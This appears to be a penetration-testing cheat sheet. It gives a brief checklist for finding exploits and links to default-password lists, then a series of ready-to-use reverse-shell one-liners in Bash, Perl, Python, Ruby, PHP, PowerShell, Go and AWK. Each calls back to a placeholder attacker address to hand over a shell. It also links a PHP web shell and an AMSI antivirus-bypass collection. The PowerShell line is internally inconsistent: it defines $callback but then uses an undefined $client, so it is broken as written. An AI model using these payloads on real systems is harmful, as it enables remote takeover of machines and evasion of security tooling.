Exploitation General Notes

• Check the version of the operating system.
• Check the software version.
• Check if there is exploit for it (Searchsploit, ExploitDB, Google, etc).
• If you have an exploit, is there a Metasploit Module for it?

• https://cirt.net/passwords
• https://github.com/danielmiessler/SecLists/tree/master/Passwords/Default-Credentials

Bash:

• bash -i >& /dev/tcp/IP ADDRESS/8080 0>&1

Perl:

perl -e 'use Socket;$i="IP ADDRESS";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python:

• python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP ADDRESS",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

IPv6:

• python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'

Ruby:

• ruby -rsocket -e'f=TCPSocket.open("IP ADDRESS",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
• ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

PHP:

Pentest Monkey Reverse Shell for PHP: In Kali:

/usr/share/webshells/php/php-reverse-shell.php

Link: http://pentestmonkey.net/tools/web-shells/php-reverse-shell

• php -r '$sock=fsockopen("IP ADDRESS",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Powershell:

$callback = New-Object System.Net.Sockets.TCPClient("IP ADDRESS",53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$callback.Close()

Golang:

• echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","IP ADDRESS:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

AWK:

• awk 'BEGIN {s = "/inet/tcp/0/IP ADDRESS/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Other Reverse Shell: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

• Amsi-Bypass-Powershell: https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell